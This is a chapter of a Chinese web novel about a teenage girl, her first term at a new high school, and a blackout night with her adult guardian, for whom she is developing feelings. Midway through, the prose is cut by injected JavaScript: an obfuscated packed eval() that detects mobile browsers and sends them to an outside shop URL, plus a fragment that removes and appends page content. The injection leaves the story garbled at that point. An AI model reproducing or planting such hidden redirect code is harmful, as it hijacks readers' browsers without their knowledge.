暑假过得很快,像被太阳晒得薄薄的一张纸,风一吹,就翻到了开学那一页。
假期她跟着曾樹和奶奶又回了一次青林乡,按原例扫了一回墓,在乡下住了十来天。
生日那天,曾樹带她去了饭店。
期间吕丽萍来过一次电话,知道她考上了一中,夸奖了几句,但随即让她一定要懂事,懂得感恩,不要闹脾气,也别惹事,好好读书,考上大学。
林之杏只是点头听着,像大人一样问了问她怎么样。
电话那头没说几句,只是颓丧地表示“还能撑下去就活着吧,实在活不下去就再说。”
林之杏很想问问她,那二十几万被拿走,像一块石头沉进水里,完全没有泛起一点水花,做父母的,怎么能把孩子也一起沉下去?
她被牵连、被丢下,寄人篱下,还要听他们自怨自艾、活不下去吗?
她时常觉得自己是不是太冷血,但仔细想想,不冷血一点,她还要怎么不痛?还要怎么活下去?
只是很久没见到许言了。
曾樹从来不说,她和奶奶做饭的时候,东拉西扯地把话题拉到这上面过。
奶奶看了看她,只是低头摘着蒜薹:“小樹这孩子,认死理,倔起来,九头牛都拉不回来。”
林之杏抬眼看着奶奶,夏日午后的光打在奶奶的脸上,松弛的褶皱里像盛着一点安静的亮,她开口道:“奶奶,是不是因为我,我拖累曾樹哥哥了。”她低下头,看着脚下拖鞋里光洁的脚趾,“之前也是因为我的家长会,他和许言姐姐吵架。”
王秋菊把摘好的蒜薹放在旁边的筐子里,又分了半把给林之杏,看了她一眼:“不是,你别多想。我看他俩就不合适。”蒜薹的薄皮被撕开,冲出刺鼻的香味,奶奶用手背擦了擦鼻子。
王秋菊把蒜薹放在一边,起身洗了把手,走回来坐下:“小樹现在也不成熟,可能也不会经营感情。”她看了看林之杏,“对你也是,不知道该关心还是该怎样,时常惹得你也不高兴。”
林之杏看着奶奶,半解半不解地点了点头,心想其实他没有惹自己不高兴。
-
开学对林之杏来说很顺利,新的校园,新的朋友,一切都是新的。
笨重的校服里,她穿着那天专程买的内衣,终于开始敢昂首挺胸,不再塌肩弓背地低着头走路。
只是一中的晚自习要上到十点,比初中要晚两个小时,早上也要提前一个小时到校,六点半就得集合跑操。
她看了看跟在背后搬书的曾樹,开口道:“哥哥,要不我住宿吧?来回跑的话,时间很难兼顾得过来。”
曾樹挑眉觑了她一眼,想起刚刚经过的女生宿舍,十人间,黑洞洞不见底,两个老式吊扇挂在房顶,摇了摇头:“我接送你。”把手里的一摞书放在林之杏桌子上,拍了拍手,“这都是外地的学生没办法了,才选择寄宿,一中大部分同学都走读,你又是本地的,住校还是不方便。”
他不想她再遇到初中那种情况了。
万一又有什么同学听说了风言风语,或者家长和吕丽萍林风平有什么关系,又把她逼得不能回宿舍睡觉怎么办?
林之杏皱着眉头,有些不解。
既然她能寄宿,也能少他和奶奶的麻烦,他有更多的时间做自己的事,为什么不让呢?
但曾樹满头大汗,神色也不是很轻快,有些倦意,林之杏下意识觉得不要再争论,就点了点头。
曾樹伸手揉揉她的头:“乖。”
林之杏在大手触到发顶前一秒,往边上一偏,笑嘻嘻冲他做了个鬼脸:“手脏死了。”
曾樹看了一眼发灰的手掌心,又气又好笑:“还不是给你搬东西弄的?”
林之杏跑得远远的,冲他做着口型:“谢谢哥哥。”
教室里满是来搬东西布置的家长和学生,林之杏跑到靠讲台前边,和另一个女生低头说着什么。头发长长了些,松松地用黑色皮筋扎在脑后,曾樹只能看到她的侧脸,侧脸开始有了轮廓,似乎又瘦了些,翘翘的鼻尖挡住了另一侧的眉眼。教室里悬空的风扇转起来,带着午后的热风拂过她发梢,几束头发飘到面前,她随手塞在耳后。
他坐在座位上,旁边有家长跟他打招呼:“您好,我是邻桌的爸爸,我们留个联系方式吧,两个孩子也互相好照顾。”
曾樹从愣神中反应过来,下意识道:“我不是她爸爸。”
那人戴副金丝边眼镜,闻言有些拘谨地笑了一下:“哈哈怪不得呢,你可真年轻。”
曾樹和对方交换了号码,手指按着屏幕,视线却总忍不住越过人群,落到林之杏身上。她一会儿拿着扫把,一会儿又拿着簸箕,进进出出,忙得不亦乐乎。
他是她的什么人?
曾樹捏了捏眉心,他也不知道。
随手翻了翻她桌子上刚领回来的新书,中间却夹着一个什么硬硬的纸壳,曾樹有些好奇,捏着书脊,把整本书竖起来,抽出中间那个纸壳。
是红色的卡纸,裁得方方正正的,两个角落有胶布的痕迹,纸面也有点褪色,泛出淡淡的白。正面写着“中考目标”,是林之杏洋洋洒洒的大字:“考上一中”。
曾樹嘴角带了一抹笑,眼前浮现起中考百日誓师大会时她认真宣誓的样子,又翻了翻背面,是他自己写的字。
背面比正面掉色更厉害,几乎看不到什么红色,整个都泛白了,显然是被摩挲了很多次。
「好好吃饭,好好睡觉。考得上就上,考不上也没事。往前走,别怕。」
曾樹却盯着角落那个落款出神。
「曾樹」
他对她来说是什么?
不是父亲,不是哥哥,也不是其他的什么。
他太阳穴一突一突的,许言的那些话不合时宜地闯进他耳朵里。
“你对她太关心了吧?她是你谁啊?”
“你把我放在什么位置?”
他肩膀猛地被拍了一下,林之杏脸上汗津津地,两只眼睛却亮得惊人,就那样目光炯炯地盯着他,仿佛要把他看穿一个洞。
曾樹赶忙把卡片塞在书里,但林之杏眼尖,一下就看到了。
“哎呀,你怎么偷看?我留着做纪念的。”她一把抢过去,连带着书也拿走了。
“报道没什么事了吧?”曾樹站起来,拍了拍褶皱的裤子,“没事我就先回去了。”
他不看她,一双眼睛左看右看,林之杏皱起眉头:“我还没吃晚饭。”
曾樹从桌肚里掏出钱包,把里面的红色钞票全拿了出来,不多不少一千块,他夹在林之杏书桌上的教材里:“零花钱,自己拿着用。”
转身就走,林之杏放下扫把追了两步,又默默走了回来。
是想让他陪自己吃饭啊,又不是要钱。
她把钱仔细收在书包内侧,依然打算回家后把钱存在王奶奶那里。
少女的旖旎心思,在无数的新鲜事面前,渐渐退居幕后。
运动会、艺术节、分科、模考、月考……
她的日子被填得满满当当,不再像从前那样,一点风吹草动都要绕回曾樹身上。
除了每天他接送自己的时候,聊上几句,两人似乎保留着一种微妙的平衡。
直到那日全城停电。
晚自习的教室倏忽黑下来,四处都是惊呼声。班主任晃着手机电筒让大家安静,林之杏偷偷打开手机,才九点钟。
整栋教学楼都不安地躁动起来,老师去教务组询问消息,班里开始变得闹哄哄。
她趴在桌子上,借着窗外零星的月色观察着教室里的人们。
班里有偷偷谈恋爱的情侣,趁着夜色牵手,胆大的甚至悄悄接吻。有趴在桌子上玩手机的,也有百无聊赖到处溜达的。
年少在学校里的时候,总爱暴雨天和停电这种特殊事件。仿佛这些可以打破按部就班的生活,注入新的活力和冲击。
她却在想一个人。
也是这样黑的天,他端着双层蛋糕,祝她十六岁生日快乐。
奶奶、李兰、刚子、昊子都在,她拿到了一笔不小的生日红包,还吃了很大的蛋糕。
她许了和去年一样的愿望。
「愿年年有今日,岁岁有今朝。」
她的愿望太多,不敢一一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803291|210529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祈祷。只希望时间过去,珍贵的人都还在她身边。
电没有像大家以为的那样很快恢复,教室里开始渐渐乱成一锅粥。
班主任不久后赶回来,让大家赶紧回家,明天照常上学。
林之杏摸出手机,给曾樹打电话。
“哥哥,今天全城停电,我们学校现在已经放学了。”
那边接通很快,沉默片刻道:“那你在保安室等我,我现在开车过来,可能路上会有点堵。”
“要不我自己回去。”林之杏试探着问了一声。
“全城停电,你路都看不清楚,怎么自己回?等着我。”那边不由分说挂了电话。
教室里的同学一哄而散,林之杏收拾完书包的时候,已经没剩几个人。
以往即便走得晚,教学楼也是灯火通明,但今时不同往日,整栋楼都黑压压的,像个沉默的巨兽。
不知为何心里突然空落落起来,想快点走出去,快点看到人,快点看到有光的地方。
林之杏背着书包,左手举着手机,电筒的亮光照着台阶,一步一步地往下挪。
好在楼下宽阔的路上还有拥挤不堪的全校学生,她跟在人群中,忽然觉得安心了些。
然而人群像流沙一样溜走,有的父母接送,有的成群结队地回家,好几个同学和她打招呼,林之杏笑着挥手,等在保安亭旁边。
她捏着手机,半坐在台阶上,听着身边喧嚣的人潮声渐渐安静下来。
不知过了多久,皮鞋扣着柏油路面的声音传到她耳边,背后的书包一轻,两肩被拉得往上扯了一下,她抬头。
曾樹低着眉,伸手从她身上取下书包,单肩背在自己身上,衬衣和西裤有些褶皱,背后道路上的车灯一晃,照亮了他高高的鼻梁:“走吧,路上没有信号灯,太堵了,我来晚了。”
林之杏原本想说没关系,可嗓子像被什么堵了一下,只摇了摇头:“谢谢哥哥。”
车子停在小区楼下,感应灯也失灵,整片漆黑。平时亮着的几盏路灯全灭了,楼道口像一张黑洞洞的嘴。远处偶尔有狗叫,不知谁家窗户里传来小孩喊热的声音。
曾樹拉开车门,走在前面:“来,你拉着我,听我数一二三。”
林之杏攥着他的衣角,衬衣布料被汗浸得有些潮,指尖一捏,就贴住了她的掌心。她忽然不敢太用力,只轻轻拽着一小片,像怕一不小心就把什么东西扯破。
楼道里太黑,她不知是害怕还是怎么,几乎贴在他身后。曾樹数到“三”的时候,声音顿了一下,像是才意识到她离得太近,但清了清嗓子,又似乎什么也没发生。
他喊一个数字,就迈一步。每层楼都有两截台阶,一截十阶。她跟着他一步步往上走,只能看见手机电筒照出的那一点白光,和他肩背模糊的轮廓。黑夜里他的呼吸声更加明显,林之杏侧耳听着。
就这样摸着黑到402,他掏出钥匙开门,林之杏打开手机手电近近照着。
“奶奶睡得早,不知道停电了,我也没叫她。”曾樹一边开锁,一边压低声音道,“一会儿我打手电给你照着,你洗漱完就去休息吧。”
林之杏点头,过了一会儿又道:“我也给你打手电。”
曾樹笑了笑:“我洗漱过了。”
终于开门,家里没有往日的风扇声,安静得反常。只有客厅挂钟的滴答声反倒在狗吠声里变得非常清楚。
林之杏都忘了那天刷牙的时候挤没挤牙膏,只记得曾樹举着手电给她照亮那一小块地方,心震得像春日惊雷一样响。
手机的光落在她的脸上,漱口的水珠留在嘴角,镜子里映出电筒的反光,曾樹的身影被照得亮亮的。
他看了她一眼,很快把光偏开些,只照着洗手台。
刷完牙随便往脸上抹了两把水,用旁边的毛巾擦了擦,就急匆匆进房间去睡觉了。
躺在被子里,两只手攥着被角,指尖无意识地揉了揉。
布料干燥又柔软,和刚才他衬衣的衣角一点也不像,可她还是想起了楼梯上拽着他往上走的那一下。
她把脸往被子里埋了埋,好像还有他身上的味道。